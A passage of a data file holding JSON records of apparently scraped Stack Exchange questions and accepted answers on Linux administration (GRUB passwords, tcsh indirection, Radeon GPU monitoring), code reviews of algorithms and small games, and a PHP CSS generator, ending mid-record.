{  "id": "_unix.13706"  , "question": "I'm running Grub .97 with an OpenSuSE 11.2 and Windows XP installation.  I configure the grub password in OpenSuSE 11.2 via the Boot Loader module.  However, when I type in the password in grub, during bootup, I simply get a Failed message.  I have tried about three or four different passwords.  I can boot up, I just can't use the password to edit anything about grub.I have also tried setting the grub password via the command line by typing grub to go to the interactive menu, typing md5crypt, typing my password, and copying the hashed password to the menu.lst file.  Still no luck when I enter the password."  , "title": "Grub does not recognize password"  , "tags": "grub;opensuse;dual boot"  , "accepted_answer": "I found the answer to my problem here.  If I use the md5crypt command to generate my password, I need to enter --md5 between my password and the encrypted password.  Now this works.  So, before the title entries in my /boot/grub/menu.lst file I have the line with a password.  This now reads password  --md5   encrypted_password.Based on my experience, it appears that setting the password for the Boot Loader via YaST does not work correctly for OpenSuSE 11.2.  I have not yet checked to see if adding a --md5 to the encrypted password provided by YaST would cause it to work, I've only tried the md5crypt method with this.  "  } 
{  "id": "_unix.88621"  , "question": "I'm currently planning my business servers and I would like to know what's the best Linux distro for these needs:Nginx + MySQL + PHP 5.4Zimbra Collaboration - Open SourceNode.js w/ ForeverI know it's a objective question but I asked a lot of people and they didn't answer me other thing than It's your choice...I have a 2 CPU, 1GB RAM, 30GB SSD server..."  , "title": "Best Linux for a small Web server"  , "tags": "email;php;mysql;nginx;node.js"  , "accepted_answer": "You might want to use a distribution that has a low footprint. Debian quickly comes to mind, but I can't see why you wouldn't use ubuntu or centos or even gentoo or arch.In the end of the day, you should use the distribution you feel more comfortable with."  } 
{  "id": "_unix.208036"  , "question": "I have a Raspberry Pi connected to a router (Router1) with internet connection in en0, with IP 192.168.1.110,however I have my RPi's wifi port (wlan0) connected to another router (Router2) with IP 172.31.198.123 (another LAN network).Now my Macbook is connected to Router2(e.g. with IP 172.31.198.100), and I want to reach the internet through my Raspberry Pi (maybe setting up a VPN server or something like that on the Pi).Only when I take out my cable (en0), can I ping through 172.31.198.123 from my Mac.Otherwise the Pi will use en0 and I can't ping through  172.31.198.123.Could anyone tell me how to do it?auto loiface lo inet loopbackauto eth0allow-hotplug eth0iface eth0 inet staticaddress 192.168.1.110netmask 255.255.255.0broadcast 192.168.1.255gateway 192.168.1.1auto wlan0allow-hotplug wlan0iface wlan0 inet manualwpa-conf /etc/wpa_supplicant/wpa_supplicant.confauto wlan1allow-hotplug wlan1iface wlan1 inet manualwpa-conf /etc/wpa_supplicant/wpa_supplicant.conf~$ sudo cat /etc/wpa_supplicant/wpa_supplicant.confctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdevupdate_config=1network={    ssid=XXXX-WiFi    key_mgmt=NONE}"  , "title": "How to share one internet connection from LAN to another LAN?"  , "tags": "networking;raspberry pi"  } 
{  "id": "_cs.43816"  , "question": "I'm in doubt about that because in Google's results for a search on bill clinton [1],the server The 'Unofficial' Bill Clinton (94.06%) appears first than the server President Bill Clinton - The Dark Side (97.27%) and there is no feedback mechanism modifing the ranks.Since I've noticed that, I am wondering if google uses some algorithm for efficiently intesecting inverted indices that exploits the PageRank although not completely preserving order.[1] The Anatomy of a Large-Scale Hypertextual Web Search Enginehttp://infolab.stanford.edu/~backrub/google.html"  , "title": "Does Google's search algorithm really respect order of relevance imposed by PageRank?"  , "tags": "information retrieval"  } 
{  "id": "_softwareengineering.13786"  , "question": "I was asked to make some small technical presentation about specific application scalability. The application is developed using Java, Spring MVC, Hibernate. I have access to the application source code.How can I measure software scalability (using sources) and what metrics do I need to look after when measuring software scalability? "  , "title": "How is software scalability measured?"  , "tags": "scalability;metrics"  , "accepted_answer": "I would start with reading Wikipedia article on the subject.In short, scalability is how system performance grows with adding more resources or, alternatively, how the resource utilization grows with increasing load. For example, how many concurrent users can your site handle until response time grows beyond 0.3 sec? The same question after you double the available RAM/disk/CPU/etc. You probably can use your knowledge of the application internals to decide which parameters are worth checking. Setup a test bench with a server machine and one or more client machines. Use some tool to limit the amount of resources available to the server (e.g. ulimit) or run some interfering application on the server. Measure how the server deals with client requests. Repeat the above gradually increasing/decreasing interfering load/available resources. At the end you get n-dimensional space with  dots in it. It may be simpler to change only one parameter at a time while fixing all the others at some typical value (or a couple of values). In this case you can represent the result as a bunch of 2D graphs with server performance (e.g. number of users/requests) on one axis and resource utilization/availability on the other.There are more complex scenarios where your application uses several servers for several part of the application and you can vary their amount and ratio, but I guess it's not your case. At most, you probably may want to vary the number of threads/processes, if this matters.If you measure the whole application you usually don't need source code access. However, you may be interesting in measuring some specific part of the code (e.g. only DB or UI). Then you can use the source code to expose only this module for measurements and run your tests. This is called a microbenchmark.If you're looking for examples, there is a plenty of them in academic articles. Search the google scholar for performance evaluation + your preferred terms."  } 
{  "id": "_softwareengineering.236451"  , "question": "I'm seeking vital naming of string filename parameter in parameter list used in various methods where filename with full path is expected. In many cases also UNC path can be actually supplied as full path because many libraries handle it natively.I usually call the parameter just filename, but it can be misleading in two ways:Beginners tend to think it is only name of file  without path.If there is a need of splitting the value into path and filename, term filename sticks better with filename part without path which appeared after split. Anyway, it is not easy to give that second part better name than filename. Alternative of splitting filename to path and filenameOnly looks weird to me.I think it might be better to use clearly distinguishable term for filename with path than borrowing filename which already has stronger meaning for something else.I was thinking about term absoluteFilePath or fullyQualifiedFilename to stand as argument names. Maybe they are good and I need only some encouragement to start using them, but I would like to understand your best practices.EDIT: I would still like to stick with official VB.NET naming and capitalization conventions, so the only thing I need help sharpening is clear self-documenting wording of the term. (Not whether I should use Hungarian notation or not  I cannot.)"  , "title": "How to name filename parameter to make clear it should contain full path?"  , "tags": "naming;file handling;conventions"  , "accepted_answer": "It sounds like you'd be safer defining a code contract.You can say a precondition of this method is that the path supplied is an absolute path.You can make this clearer by naming the input parameter String absolutePathToFile.And finally, you can make your method fail early if the preconditions aren't met.  Do this by checking if the absolutePathToFile is indeed an absolute path.  If not, throw an argument exception.So, instead of simply picking a parameter name and hoping the next developers a) pay attention to it, and b) understand it the same way you do (both of which are unlikely), you do the following:Code Contract: Explicitly declare your method preconditions.  You can put this in your documentation, or as inline method documentation (if your language/ide supports it)Self Documenting Code: Choose a parameter name that describes what you want as clearly as possible (not always easy)Defensive Programming: Check your method parameters to see if they're valid.  If not, fail hard and fail early."  } 
{  "id": "_unix.87941"  , "question": "I'm trying to do the following:set a = kittenset temp_kitten = purrecho ${temp_$a}I want the echo command to return purr.The overall idea is that I have a bunch of variables in an array and a bunch of temp_variables in another array and I want to loop through them in a single foreach loop for comparison."  , "title": "How achieve variable indirection (refer to a variable whose name is stored in another variable) in tcsh"  , "tags": "shell script;tcsh;variable substitution"  , "accepted_answer": "You can use eval:eval echo \\$temp_$aReferencesBash variable indirection"  } 
{  "id": "_codereview.44482"  , "question": "Given an array start from the first element and reach the last by jumping. The jump length can be at most the value at the current position in the array. Optimum result is when u reach the goal in minimum number of jumps. For example: Given array A = {2,3,1,1,4}   possible ways to reach the end (index list)    i) 0,2,3,4 (jump 2 to index 2, then jump 1 to index 3 then 1 to index 4)    ii) 0,1,4 (jump 1 to index 1, then jump 3 to index 4) Since second solution has only 2 jumps it is the optimum result.A lot of input has been derived from previous review here.public final class JumpGame {    private JumpGame() {}    /**     * Returns the shortest jump path from the source to destination     *      * @param jump     The jump array     * @return         Returns one of the shortest paths to the destination.     */    public static List<Integer> getShortestJumps(int[] jump) {        final List<Integer> list = new ArrayList<Integer>();        list.add(0);        for (int i = 0; i < jump.length - 1; ) {            int iSteps = Math.min(jump.length - 1, i + jump[i]); // iSteps is all the consecutive steps reachable by jumping from i.            int maxStep = Integer.MIN_VALUE; // max step is one of the step in iSteps, which has the max potential to take us forward.            /*  trying each step of iSteps */            for (int j = i + 1; j <= iSteps; j++) {                /* being greedy and picking up the best step */                if (maxStep < jump[j]) {                    maxStep = j;                }            }            list.add(maxStep);            i = maxStep; // jump to the maxStep.        }        return list;    }    public static void main(String[] args) {        int[] a1 = {2,3,1,1,4};        List<Integer> expected = new ArrayList<Integer>();        expected.add(0);        expected.add(1);        expected.add(4);        Assert.assertEquals(expected, getShortestJumps (a1));        int[] a2 = {3, 1, 10, 1, 4};        expected = new ArrayList<Integer>();        expected.add(0);        expected.add(2);        expected.add(4);        Assert.assertEquals(expected, getShortestJumps (a2));    }}"  , "title": "Jump game to find minimum hops from source to destination"  , "tags": "java;algorithm"  , "accepted_answer": "Code-StyleFor the most part, this is good:return types are good.Collections are well typedmethod names are goodapart from list, a1, and a2, variable names are goodThe list is a bad name for a List. The fact that it is a list is obvious... but, what is the list...? I prefer result to list.a1 and a2 are not bad, but they are not good either. They are just 'OK'.AlgorithmI have worked the code through, and figure there is a plane-jane O(n) solution to the problem. Your algorithm is something larger than O(n), It is closer to O(n * m) where m is the longest jump.The alternate algorithm I cam up with sets up a 'range' for the next jump.... It seaches all the values from the current cursor to the current range, and it looks for the jump within that range that would extend the range the furthest.The method looks like:public static List<Integer> getShortestJumps(int[] jump) {    final List<Integer> list = new ArrayList<Integer>();    if (jump.length == 0) {        return list;    }    int cursor = 0;    int best = 0;    int range = 0;    int remaining = 1;    while (cursor + 1 < jump.length) {        if (cursor + jump[cursor] > range) {            // jumping from here would extend us further than other alternatives so far            range = cursor + jump[cursor];            best = cursor;            if (range >= (jump.length - 1)) {                // in fact, this jump would take us to the last member, we have a solution                list.add(best);                break;            }        }        if (--remaining == 0) {            // got to the end of our previous jump, move ahead by our best.            list.add(best);            remaining = range - cursor;        }        cursor++;    }    // always add the last member of the array    list.add(jump.length - 1);    return list;}"  } 
{  "id": "_webmaster.69477"  , "question": "I'm learning HTML at www.w3schools.com/html/html_urlencode.asp and don't understand this sentence:host - defines the domain host (default host for http is www)Example  scheme://host.domain:port/path/filenameExplanation:    scheme - defines the type of Internet service (most common is http)    host - defines the domain host (default host for http is www)    domain - defines the Internet domain name (w3schools.com)    port - defines the port number at the host (default for http is 80)    path - defines a path at the server (If omitted: the root directory of the site)    filename - defines the name of a document or resourceWhat is the relation between domain host and www?"  , "title": "How to understand scheme://host.domain:port/path/filename?"  , "tags": "domains;web hosting;dns;subdomain"  , "accepted_answer": "http://www.w3schools.com/html/html_urlencode.aspThe domain = w3schools.comwww is the host.The path is /html/ And the file is html_urlencode.asp"  } 
{  "id": "_codereview.151566"  , "question": "I have solved Project Euler's problem number 47, which reads:The first two consecutive numbers to have two distinct prime factors  are:14 = 2  7 15 = 3  5The first three consecutive numbers to have three distinct prime  factors are:644 = 22  7  23 645 = 3  5  43 646 = 2  17  19.Find the first four consecutive integers to have four distinct prime  factors each. What is the first of these numbers?The correct answer is : 134043.I used some sort of memoization to work out the problem but the performance is still pretty bad: 5.45.5 seconds. The trick in this question here is that the prime factors can actually be on some power which if evaluated doesn't result in a prime number but if the base is prime it's fine: e.g., 22 = 4.Here is my solution:public class Problem47 : IProblem{    public int ID => 47;    public string Condition => ProblemsConditions.ProblemConditions[ID];    //Key - value to power    //Value - factorized value    private readonly Dictionary<int, bool> passedNumbers = new Dictionary<int, bool>();    private readonly Dictionary<int, int> factorizedPowers = new Dictionary<int, int>();    private readonly HashSet<int> primes = new HashSet<int>();    private const int primeFactorCount = 4;    public ProblemOutput Solve()    {        Stopwatch sw = Stopwatch.StartNew();        for (int i = 2 * 3 * 5 * 7; ; i++)        {            int[] numbers =            {                i, i + 1, i + 2, i + 3            };            int skipAmount = 0;            foreach (int n in numbers)            {                bool value;                if (passedNumbers.TryGetValue(n, out value))                {                    if (!value)                    {                        skipAmount = n - (i - 1);                    }                }                else                {                    passedNumbers.Add(n, HasNPrimeFactors(n, primeFactorCount));                    if (!passedNumbers[n])                    {                        skipAmount = n - (i - 1);                    }                }            }            if (skipAmount != 0)            {                i += skipAmount - 1;                continue;            }            sw.Stop();            return new ProblemOutput(sw.ElapsedMilliseconds, numbers[numbers.Length - primeFactorCount].ToString());        }    }    private bool HasNPrimeFactors(int input, int n)    {        Dictionary<int, int> factors = new Dictionary<int, int>();        for (int i = 2; input > 1 ; i++)        {            if (input % i == 0)            {                if (primes.Contains(i) || IsPrime(i))                {                    if (!primes.Contains(i))                    {                        primes.Add(i);                    }                    if (factorizedPowers.ContainsValue(i))                    {                        int maximizedPower = GetMaximizedFactor(input, i);                        input /= maximizedPower;                        if (factors.ContainsKey(i))                        {                            factors[i] += GetPowerOfValue(maximizedPower, i);                        }                        else                        {                            factors.Add(i, GetPowerOfValue(maximizedPower, i));                        }                    }                    else                    {                        input /= i;                        if (factors.ContainsKey(i))                        {                            factors[i]++;                            factorizedPowers.Add((int) Math.Pow(i, factors[i]), i);                        }                        else                        {                            factors.Add(i, 1);                        }                    }                }            }            if (i > input)            {                i = 1;            }        }        return factors.Count == n;    }    private int GetMaximizedFactor(int input, int value)    {        var matches = factorizedPowers.Where(x => x.Value == value && input % x.Key == 0);        return matches.Any() ? matches.Max().Key : value;    }    private static int GetPowerOfValue(int input, int value)    {        int count = 0;        while (input > 1)        {            input /= value;            count++;        }        return count;    }    private bool IsPrime(int value)    {        if (value < 2) { return false; }        if (value % 2 == 0) { return value == 2; }        if (value % 3 == 0) { return value == 3; }        if (value % 5 == 0) { return value == 5; }        if (value == 7) { return true; }        for (int divisor = 7; divisor * divisor <= value; divisor += 30)        {            if (value % divisor == 0) { return false; }            if (value % (divisor + 4) == 0) { return false; }            if (value % (divisor + 6) == 0) { return false; }            if (value % (divisor + 10) == 0) { return false; }            if (value % (divisor + 12) == 0) { return false; }            if (value % (divisor + 16) == 0) { return false; }            if (value % (divisor + 22) == 0) { return false; }            if (value % (divisor + 24) == 0) { return false; }        }        return true;    }}Please ignore the inheritance, the ID and Condition properties, and the ProblemOutput class. Those are irrelevant for this question and have no effect on the program whatsoever."  , "title": "Project Euler #47: Distinct primes factors"  , "tags": "c#;performance;programming challenge;primes"  , "accepted_answer": "If you're working through the Project Euler questions, you should become familiar with the Seive of Eratoshenes.Not only is it a very simple way to generate a bunch of prime numbers at once, but it's an algorithm which can be subtly modified to solve other problems.In this problem, we want to calculate how many prime factors each number in a range has. We've going to be testing a lot of numbers, so it would be great if we can calculate all of the factor counts at once. And we can!First, pick a safe top number that we're going to test up to. I'll guess that the answer will be a number less than a million.Create an array of a million zeros. It starts as an array of zeros, but we want to transform this array so that:array[i] == count_of_factors(i)Start at 2. array[2] == 0, so therefore 2 is prime. Now we can add 1 to {array[4], array[6], array[8] ... array[999998]}, because they are factors of 2.Move to 3. array[3] == 0, so add 1 to {array[6], array[9], array[12] ... array[999999]}Move to 4. array[4] == 1. (We've already incremented it) Because it is not 0, we know it is not a prime number, so we ignore it.Move to 5. array[5] == 0, so add 1 to {array[10], array[15], array[20], array[25]...array[999995]And so on. When you're done, every number will either be 0 (if the index is prime), or it will be the count of prime factors of that index. Now it's as simple as finding the first four contiguous fours.This solution takes around 130 milliseconds:static int SolveProblem(){   int[] factorCounts = new int[1000000];   for(int i = 2; i < factorCounts.Length; ++i)   {      if(factorCounts[i] == 0) // It's Prime      {         for(int j = i*2; j < factorCounts.Length; j+=i)         {            ++factorCounts[j];         }      }   }   // Now find the first four contiguous fours   int contiguousFours = 0;   for (int i = 210; i < factorCounts.Length; ++i)   {      contiguousFours = factorCounts[i] == 4 ? contiguousFours + 1 : 0;      if(contiguousFours == 4)      {         return i - 3;      }    }    return -1;}But we can do better than this. The above code has two loops: one which calculates the factor counts and one which searches for the contiguous fours. Lets merge this into one loop: that way it will stop generating factor counts as soon as it finds the fours.static int SolveProblem(){    int[] factorCounts = new int[1000000];    int contiguousFours = 0;    for(int i = 2; i < factorCounts.Length; ++i)    {        contiguousFours = factorCounts[i] == 4 ? contiguousFours + 1 : 0;        if (contiguousFours == 4)        {            return i - 3;        }        if (factorCounts[i] == 0) // It's Prime        {            for(int j = i*2; j < factorCounts.Length; j+=i)            {                ++factorCounts[j];            }        }    }    return -1;}Now we're down to 85 milliseconds."  } 
{  "id": "_codereview.24431"  , "question": "Requirements:Given a long section of text, where the only indication that a paragraph has ended is a shorter line, make a guess about the first paragraph. The lines are hardwrapped, and the wrapping is consistent for the entire text.The code below assumes that a paragraph ends with a line that is shorter than the average of all of the other lines. It also checks to see whether the line is shorter merely because of word wrapping by looking at the word in the next line and seeing whether that would have made the line extend beyond the maximum width for the paragraph.def get_first_paragraph(source_text):    lines = source_text.splitlines()    lens = [len(line) for line in lines]    avglen = sum(lens)/len(lens)    maxlen = max(lens)    newlines = []    for line_idx, line in enumerate(lines):        newlines.append(line)        try:            word_in_next_line = lines[line_idx+1].split()[0]        except IndexError:            break # we've reached the last line        if len(line) < avglen and len(line) + 1 + len(word_in_next_line) < maxlen: # 1 is for space between words            break    return '\\n'.join(newlines)Sample #1Input:This is a sample paragaraph. It goes on and on for several sentences. Many OF These Remarkable Sentences are Considerable in Length.It has a variety of words with different lengths, and there is not aconsistent line length, although it appears to hover supercalifragilisticexpialidociously around the 70 character mark.Ideally the code should recognize that one line is much shorter thanthe rest, and is shorter not because of a much longer word followingit which has wrapped the line, but because we have reached the end ofa paragraph.This is the next paragraph, and continues onwards formore and more sentences.Output:This is a sample paragaraph. It goes on and on for several sentences.Many OF These Remarkable Sentences are Considerable in Length.It has a variety of words with different lengths, and there is not aconsistent line length, although it appears to hoversupercalifragilisticexpialidociously around the 70 character mark.Ideally the code should recognize that one line is much shorter thanthe rest, and is shorter not because of a much longer word followingit which has wrapped the line, but because we have reached the end ofa paragraph.Using other sample inputs I see there are a few issues, particularly if the text features a short paragraph or if there is more than one paragraph in the source text (leading to the trailing shorter lines reducing the overall average)."  , "title": "Given a random section of text delimited by line breaks, get the first paragraph"  , "tags": "python;strings"  } 
{  "id": "_codereview.71523"  , "question": "I'm not really even sure if this counts as a game. There is so little code, but it works. It is a game where you have to guess the computers number, and it tells you how many times you took to get it right. I kind of want feedback, and not ways to improve the code. I want to know ways to improve my future projects and what to avoid again.def main():    # Guess My Number    #    # The computer picks a random number between 1 and 100    # The player tries to guess it and the computer lets    # the player know if the guess is too high, too low    # or right on the money    import random      def ask_number(question, low, high, step):        response = None        while response not in range(low, high):            response = int(input(question))        return response        tries += step    #Opening Remarks    print(Welcome to 'Guess My Number'!)    print(I'm thinking of a number between 1 and 100.)    print(Try to guess it in as few attempts as possible.)    # set the initial values    the_number = random.randint(1, 100)    # Create the priming read here    tries = 0    guess= 0    while int(guess) != int(the_number):        guess = ask_number(Enter your guess:, 1, 100, 1)        if int(guess) == int(the_number):            print(Your right on the money!)        elif int(guess) > int(the_number):            print(To high!)        elif int(guess) < int(the_number):            print(To low!)        tries += 1    #Didnt know how to make it reloop to the start...    print(You guessed it!  The number was, the_number)    print(And it only took you, tries, tries!)    #Program Closing      input(Press the enter key to exit.)main()"  , "title": "Number-guessing game"  , "tags": "python;number guessing game"  , "accepted_answer": "import random should be at the top of the script.The call to main should be guarded by if __name__ == __main__:.the_number and guess are already int, so the repeated calls to e.g. int(the_number) are redundant.Docstrings should be formatted properly, as multi-line strings   not comments #. Many of the actual comments are redundant - it's generally obvious what's going on (well done!)The step argument to ask_number doesn't make much sense, and there's no error handling for non-numeric inputs.The magic numbers 1 and 100 should be factored out.Use str.format for combining strings with other objects.Think about your logic more carefully - if guess isn't equal to or greater than the_number it must be less, you can just use else.100 isn't in range(1, 100).I would write it as:import random  def main(low=1, high=100):    Guess My Number    The computer picks a random number between low and high    The player tries to guess it and the computer lets    the player know if the guess is too high, too low    or right on the money        print(Welcome to 'Guess My Number'!)    print(I'm thinking of a number between {} and {}..format(low, high))    print(Try to guess it in as few attempts as possible.)    the_number = random.randint(low, high)    tries = 0    while True:        guess = ask_number(Enter your guess:, low, high)        if guess == the_number:            print(You're right on the money!)            break        elif guess > the_number:            print(Too high!)        else:            print(Too low!)        tries += 1    print(You guessed it! The number was {}..format(the_number))    print(And it only took you {} tries!.format(tries))    input(Press the enter key to exit.)def ask_number(question, low, high):    Get the user to input a number in the appropriate range.    while True:        try:            response = int(input(question))        except ValueError:            print Not an integer        else:            if response in range(low, high+1):                return response            print Out of rangeif __name__ == __main__:    main()To play again, you could recursively call main, or have a loop at the end of the script:if __name__ == __main__:    while True:        main()        again = input(Play again (y/n)? ).lower()        if again not in {y, yes}:            break"  } 
{  "id": "_unix.84616"  , "question": "I've checked out GPU usage monitoring (CUDA), but are there similar tools for AMD/ATI cards? Or kind of universal tools? I want to check out if my applications use the 256 MB of RAM of the video card at all, since I've seen applications that uses lots system memory, while they should rather use the video cards.glxinfo does not provide the information I'm looking for, but maybe you will ask if I have HW Acceleration:$ glxinfo | grep renderdirect rendering: YesOpenGL renderer string: Gallium 0.4 on ATI RV515The info about the card:03:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] RV515 [Radeon X1300/X1550] (prog-if 00 [VGA controller])    Subsystem: VISIONTEK Device 2352    Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-    Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-    Latency: 0, Cache Line Size: 16 bytes    Interrupt: pin A routed to IRQ 19    Region 0: Memory at d0000000 (64-bit, prefetchable) [size=256M]    Region 2: Memory at bffe0000 (64-bit, non-prefetchable) [size=64K]    Region 4: I/O ports at e000 [size=256]    Expansion ROM at bffc0000 [disabled] [size=128K]    Capabilities: [50] Power Management version 2        Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-)        Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME-    Capabilities: [58] Express (v1) Endpoint, MSI 00        DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <4us, L1 unlimited            ExtTag+ AttnBtn- AttnInd- PwrInd- RBE- FLReset-        DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-            RlxdOrd+ ExtTag- PhantFunc- AuxPwr- NoSnoop+            MaxPayload 128 bytes, MaxReadReq 128 bytes        DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-        LnkCap: Port #0, Speed 2.5GT/s, Width x16, ASPM L0s L1, Latency L0 <64ns, L1 <1us            ClockPM- Surprise- LLActRep- BwNot-        LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk-            ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-        LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt-    Capabilities: [80] MSI: Enable- Count=1/1 Maskable- 64bit+        Address: 0000000000000000  Data: 0000    Kernel driver in use: radeonI know there is Process Explorer in Windows, and it works with my card so the thing is Linux Kernel - driver/module - tool."  , "title": "Is there any tool to view live statistics about a Radeon GPU?"  , "tags": "hardware;performance;utilities"  , "accepted_answer": "There's a program called radeontop which should provide some or all of the information you're after.I've installed and run it on my debian laptop (which has a Radeon HD 6320 GPU) and it seems to work as advertised.If you need data for further processing rather than a top-like display, it has a -d or --dump option for dumping the data to a file (unfortunately, only as percentages rather than as raw numbers).  Examining the source code will tell you how to get at the raw data yourself.The debian packaged version has the following description.Package: radeontopDescription-en: Utility to show Radeon GPU utilization radeontop is a small utility which allows one to monitor the utilization of Radeon GPUs starting from the R600 series and newer using undocumented performance counters in the hardware. The utility works with the free drivers. . It displays the utilization of the graphics pipe, event engine, vertex cache, vertex group and tesselator, texture addresser and cache, the shader units and more, both with a relative percent value as well as a colorful bar diagram.Homepage: https://github.com/clbr/radeontop"  } 
{  "id": "_softwareengineering.209930"  , "question": "Insofar as I understand it, tools like Git and Mercurial derive checksums from their data, and those checksums are used to derive other checksums used in aggregate, leading to a kind of accumulative checksumming (checksums being the input to other checksums), that ensures a high level of integrity.Is there a name for that, and if so, what is it? (Other than accumulative checksumming (which, according to Google, is not well used, or I just made up.) My Google foo is failing me here...Another way to put it, is there a name for the way a Git repository ensures its integrity?Sorry for the vagueness - grasping for terminology I sense should exist but I can't actually find."  , "title": "Is there a name for the concept of a cumulative checksum?"  , "tags": "version control;terminology;hashing"  , "accepted_answer": "It's called a hierarchical checksum.The corresponding tree is known as a Merkle Tree or hash tree or more rarely authentication tree."  } 
{  "id": "_unix.194199"  , "question": "OS - linux lite.I don't get why all the files in the desktop suddenly disappeared. It is not moved anywhere. I searched through command line and checked trash folder too.What would be the cause for it? How can I get back my files? In Desktop, most were shortcuts of application and some files there. I need atleast files."  , "title": "Desktop files disappeared suddenly"  , "tags": "linux;desktop"  } 
{  "id": "_codereview.88782"  , "question": "One day, I was thinking:Wouldn't it be nice to set a class and have all the styles defined?And that is exactly what I did: a PHP file that generates CSS with pre-defined styles. So, for fun, I built the following:<?php    if( @is_file($file = basename(__FILE__, '.css.php') . '-config.php' ) )    {        $config = (array)include( $file );    }    else    {        $config = array(            'class'=>'color',            'force'=>true,            'text'=>true,            'border'=>true,            'back'=>true,            'shadow'=>true,            'sizes'=>true,            'styles'=>true,            'send_header'=>true,            'custom'=>null        );    }    if( isset( $config['send_header'] ) && $config['send_header'] && !headers_sent() )    {        header('Content-type: text/css');    }    $colors = array(        'black',        'red'=>array('dark','indian','mediumviolet','orange','paleviolet'),        'green'=>array('dark','light','forest','yellow','lawn','lime','pale','darkolive','sea','darksea','lightsea','mediumsea','spring','mediumspring'),        'blue'=>array('alice','cadet','cornflower','dark','darkslate','deepsky','dodge','light','lightsky','lightsteel','medium','mediumslate','midnight','powder','royal','sky','slate','steel'),        'white'    );    $sizes=array(        'em'=>array(0.3,0.5,1,1.25,1.3,2,2.5,3,3.3,3.5,4),        'px'=>array(0,1,2,3,4,5,6,7,8,9,10,11,12,12.5,13,14,15,16,17,17.5,18,19,20),        'mm'=>range(0,9),        'cm'=>range(0,9),        '%'=>array(0,1,2,3,4,5,6,7,8,9,10,12.5,15,20,25,30,33.3,35,40,45,50,55,60,62.5,65,66.6,65,70,75,80,85,90,95,99,100)    );    $styles=array(        'border'=>array('none','doted','dashed','solid'),        'text'=>array('none','underline')    );    $important = ( isset($config['force']) && $config['force'] ? '!important' : '' );    $class = ( !isset($config['class']) || $config['class'] === null ? '.color' : ( $config['class'] == false ? '' : '.'.$config['class'] ) );    foreach($colors as $color_name=>$color)    {        if( is_array($color) )        {            foreach( $color as $sub_color )            {                               if( isset($config['text']) && $config['text'] )                {                    echo $class, '.', $color_name, '-', $sub_color, '-text{color:', $sub_color, $color_name, $important, ';}';                }                if( isset($config['border']) && $config['border'] )                {                    echo $class, '.', $color_name, '-', $sub_color, '-border{border-color:', $sub_color, $color_name, $important, ';}';                }                if( isset($config['back']) && $config['back'] )                {                    echo $class, '.', $color_name, '-', $sub_color, '-back{background-color:', $sub_color, $color_name, $important, ';}';                    echo $class, '.', $color_name, '-', $sub_color, '-background{background-color:', $sub_color, $color_name, $important, ';}';                }                if( isset($config['shadow']) && $config['shadow'] )                {                    echo $class, '.', $color_name, '-', $sub_color, '-shadow{text-shadow-color:', $sub_color, $color_name, $important, ';box-shadow-color:', $sub_color, $important, ';}';                }                if( isset($config['outline']) && $config['outline'] )                {                    echo $class, '.', $color_name, '-', $sub_color, '-outline{outline-color:', $sub_color, $color_name, $important, ';}';                }            }        }        else        {            if( isset($config['text']) && $config['text'] )            {                echo $class, '.', $color, '-text{color:', $color, $important, ';}';            }            if( isset($config['border']) && $config['border'] )            {                echo $class, '.', $color, '-border{border-color:', $color, $important, ';}';            }            if( isset($config['back']) && $config['back'] )            {                echo $class, '.', $color, '-back{background-color:', $color, $important, ';}';                echo $class, '.', $color, '-background{background-color:', $color, $important, ';}';            }            if( isset($config['shadow']) && $config['shadow'] )            {                echo $class, '.', $color, '-shadow{text-shadow-color:', $color, $important, ';box-shadow-color:', $color, $important, ';}';            }            if( isset($config['outline']) && $config['outline'] )            {                echo $class, '.', $color, '-outline{outline-color:', $color, $important, ';}';            }        }    }    unset($colors,$color,$color_name,$sub_color,$sub_color_name);    if( isset($config['custom']) )    {        foreach( $config['custom'] as $color=>$hex )        {            if( isset($config['text']) && $config['text'] )            {                echo $class, '.custom-', $color, '-text{color:#', $hex, $important, ';}';            }            if( isset($config['border']) && $config['border'] )            {                echo $class, '.custom-', $color, '-border{border-color:#', $hex, $important, ';}';            }            if( isset($config['back']) && $config['back'] )            {                echo $class, '.custom-', $color, '-back{background-color:#', $hex, $important, ';}';                echo $class, '.custom-', $color, '-background{background-color:#', $hex, $important, ';}';            }            if( isset($config['shadow']) && $config['shadow'] )            {                echo $class, '.custom-', $color, '-shadow{text-shadow-color:#', $hex, $important, ';box-shadow-color:#', $hex, $important, ';}';            }            if( isset($config['outline']) && $config['outline'] )            {                echo $class, '.custom-', $color, '-outline{outline-color:#', $hex, $important, ';}';            }        }    }    unset($color,$hex);    if( isset($config['sizes']) && $config['sizes'])    {        foreach($sizes as $size_name=>$size_list)        {            foreach($size_list as $size_value)            {                if( isset($config['text']) && $config['text'] )                {                    echo '.text-', str_replace('.', '_', $size_value), $size_name, '{font-size:', $size_value, $size_name, $important, ';}';                }                if( isset($config['border']) && $config['border'] )                {                    echo '.border-', str_replace('.', '_', $size_value), $size_name, '{border-width:', $size_value, $size_name, $important, ';}';                }            }        }    }    unset($sizes,$size_name,$size_list,$size_value);    if( isset($config['styles']) && $config['styles'])    {        if( isset($config['text']) && $config['text'] )        {            foreach($styles['text'] as $style)            {                echo '.text-',$style,'{text-decoration:',$style,$important,';}';            }        }        if( isset($config['border']) && $config['border'] )        {            foreach($styles['border'] as $style)            {                echo '.border-',$style,'{border-style:',$style,$important,';}';            }        }    }    unset($styles,$style,$config,$important,$class);It is a lot of code.The color list isn't finished (there are tons of colors missing), but the functionality is all there.Everything is customizable.To set other settings, without changing code, save this file as <name>.css.php, and create a file called <name>-config.php.It will be detected automatically and the settings will be loaded.Example of a file with the settings:        return array(        'class'=>'color',        'force'=>true,        